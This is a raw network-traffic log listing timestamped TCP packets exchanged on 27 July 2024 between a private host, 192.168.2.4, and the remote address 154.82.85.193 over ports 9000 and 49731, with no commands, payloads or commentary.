Jul 27, 2024 16:57:43.847717047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847748995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847779989 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847788095 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847817898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847831964 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847851992 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847884893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847906113 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.847917080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847934008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847968102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.847975016 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848001957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848026991 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848033905 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848056078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848071098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848092079 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848093987 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848108053 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848123074 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848131895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848133087 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848140955 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848149061 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848154068 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848157883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848166943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848171949 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848177910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848187923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848189116 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848197937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848207951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848213911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848217010 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848226070 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848234892 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848242044 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848242998 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848243952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848253965 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848263025 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848265886 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848273993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848279953 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848284006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848294020 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848303080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848309040 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848311901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848320961 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848325968 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848330021 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848340034 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848341942 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848349094 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848359108 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848368883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848371983 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848378897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848388910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848397017 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848397970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848397970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848406076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848414898 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848423958 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848432064 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848433018 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848440886 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848449945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848455906 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848459959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848469019 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848474979 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848488092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848498106 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.848517895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848517895 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.848546028 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.879447937 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879570007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879606009 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879638910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879672050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879704952 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879738092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879765987 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.879765987 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.879772902 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879827976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879833937 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.879861116 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879913092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879945993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.879980087 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880031109 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880033970 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880059004 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880065918 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880117893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880131006 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880153894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880192041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880204916 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880227089 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880255938 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880280972 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880290031 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880323887 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880345106 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880377054 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880412102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880436897 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880462885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880516052 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880539894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880599976 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880650043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880661011 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880728006 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880760908 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880784988 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880795002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880830050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880848885 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880862951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880899906 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880918980 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.880933046 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880964994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.880984068 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881041050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881117105 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881149054 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881162882 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881184101 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881206989 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881237030 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881270885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881297112 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881304979 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881340981 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881356001 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881373882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881426096 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881432056 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881458998 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881493092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881514072 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881527901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881561041 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881591082 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881604910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881639957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881661892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881673098 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881706953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881730080 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.881741047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881777048 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.881798029 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.886884928 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.886940002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.886960983 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.886977911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.886992931 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887008905 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887041092 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887090921 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887123108 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887192011 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887224913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887257099 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887274027 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887312889 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887346029 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887363911 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887381077 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887413979 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887432098 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887448072 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887482882 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887501955 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887518883 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887552977 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887569904 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887588978 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887639999 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.887948990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.887999058 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888031960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888051033 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888067007 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888102055 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888123989 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888154030 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888205051 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888210058 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888237953 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888271093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888287067 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888304949 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888339043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888371944 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888381958 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888421059 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.888768911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888936043 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888968945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.888986111 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889003038 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889038086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889060020 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889072895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889128923 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889133930 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889180899 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889230967 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889240026 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889266968 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889298916 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889319897 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889333963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889367104 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889386892 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889401913 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889451027 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889460087 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889487028 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889569044 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889581919 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889605045 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889637947 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889657021 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.889672995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889705896 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.889720917 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.890068054 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890101910 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890136957 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890188932 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890222073 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890254974 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890260935 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.890289068 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:43.890294075 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:43.890355110 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015377998 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015449047 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015486002 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015523911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015526056 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015559912 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015583038 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015594959 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015630960 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015642881 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015665054 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015700102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015717983 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015733004 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015767097 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015786886 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015799999 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015834093 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015846968 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015887022 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015923023 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.015942097 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.015959024 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016002893 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016015053 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.016041994 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016077995 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016093969 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.016110897 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016145945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016164064 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.016179085 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016213894 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016232014 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.016249895 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.016303062 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.177416086 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177464008 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177481890 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177498102 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177514076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177530050 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177548885 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.177768946 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178009033 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178057909 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178097963 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178129911 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178184032 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178219080 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178252935 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178286076 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178334951 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178340912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178340912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178340912 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178369045 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178402901 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178435087 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178468943 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178503990 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178540945 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178575993 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178611040 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178627014 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178627014 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178627014 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178643942 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178678036 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178694963 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178710938 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178738117 CEST	49731	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 16:57:44.178744078 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178776979 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178809881 CEST	9000	49731	154.82.85.193	192.168.2.4
Jul 27, 2024 16:57:44.178818941 CEST	49731	9000	192.168.2.4	154.82.85.193
